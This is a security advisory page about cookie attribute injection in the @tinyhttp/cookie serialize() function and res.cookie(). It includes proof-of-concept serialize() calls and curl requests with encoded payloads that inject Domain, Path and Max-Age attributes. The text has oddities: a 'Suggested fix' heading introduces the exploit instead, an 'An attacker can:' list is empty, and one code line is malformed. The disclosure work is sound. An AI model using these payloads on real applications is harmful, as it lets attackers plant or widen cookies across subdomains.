
Cloud Vulnerability DB
A community-led vulnerabilities database
@tinyhttp/cookie's serialize() checks the cookie name, path and domain against the RFC 7230 field-content rule, and that rule allows ";", "=" and spaces. When an application puts request data into any of these fields (directly or through res.cookie() in @tinyhttp/res / @tinyhttp/app), an attacker can add Set-Cookie attributes such as Domain, Path, Max-Age or Expires, or choose which cookie gets set. This is the same issue jshttp cookie fixed in 0.7.0 (CVE-2024-47764 / GHSA-pxg6-pf52-xh8x). Severity: Low, because the application has to pass untrusted input into one of these fields.
packages/cookie/src/index.ts, serialize(): if (!fieldContentRegExp.test(name)) throw ... if (!fieldContentRegExp.test(opt.domain)) throw ... if (!fieldContentRegExp.test(opt.path)) throw ... fieldContentRegExp is /^[\u0009 -~\u0080-ÿ]+$/. That is the HTTP header field-content grammar, not the RFC 6265 grammar for a cookie name, domain or path. ";" passes, so the field's contents are written into the Set-Cookie header as extra attributes. res.cookie() in @tinyhttp/res calls cookie.serialize(name, val, opts) directly, so every tinyhttp app that uses res.cookie() is affected. Affected: @tinyhttp/cookie <= 2.1.1 (current), and res.cookie() in @tinyhttp/res <= 2.2.16 / @tinyhttp/app <= 3.0.14. Tested at master 22f80708. Suggested fix (same approach as jshttp cookie 0.7.0):
npm i @tinyhttp/app @tinyhttp/cookie
// 1. Direct
import { serialize } from '@tinyhttp/cookie'
serialize('lang=en; Domain=attacker.example; Path=/; x', 'v')
// -> 'lang=en; Domain=attacker.example; Path=/; x=v'
serialize('pref', 'v', { path: '/; Domain=.example.com; SameSite=None' })
// -> 'pref=v; Path=/; Domain=.example.com; SameSite=None'
serialize('pref', 'v', { domain: 'example.com; Path=/admin; Max-Age=999999999' })
// -> 'pref=v; Domain=example.com; Path=/admin; Max-Age=999999999'
// 2. Through an app (route params are percent-decoded)
import { App } from '@tinyhttp/app'
const app = new App()
app.get('/widgets/:id/collapse', (req, res) => {
res.cookie(collapsed_${req.params.id}, '1', { httpOnly: true, secure: true, sameSite: 'lax' })
res.send('ok')
})
app.get('/docs/*', (req, res) => {
res.cookie('last_section', 'x', { path: decodeURIComponent(req.path) })
res.send('ok')
})
app.listen(3000)
curl -si 'http://localhost:3000/widgets/x%3D1%3B%20Domain%3Dexample.test%3B%20Max-Age%3D31536000%3B%20Path%3D%2F%3B%20y/collapse' | grep -i set-cookie
// Set-Cookie: collapsed_x=1; Domain=example.test; Max-Age=31536000; Path=/; y=1; Path=/; HttpOnly; Secure; SameSite=Lax
curl -si 'http://localhost:3000/docs/a%3B%20Domain%3Dexample.test%3B%20Max-Age%3D31536000' | grep -i set-cookie
// Set-Cookie: last_section=x; Path=/docs/a; Domain=example.test; Max-Age=31536000
When these headers are stored with an RFC 6265 cookie jar (tough-cookie 5) for app.example.test, both cookies get a one-year lifetime and Domain=example.test, so they are also sent to other.example.test.
jshttp cookie@1 rejects the same inputs ("argument name is invalid", "option path is invalid").
Cookie attribute injection (CWE-74). This affects applications that use @tinyhttp/cookie or res.cookie() and put request-derived data into the cookie name, path or domain. An attacker can:
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."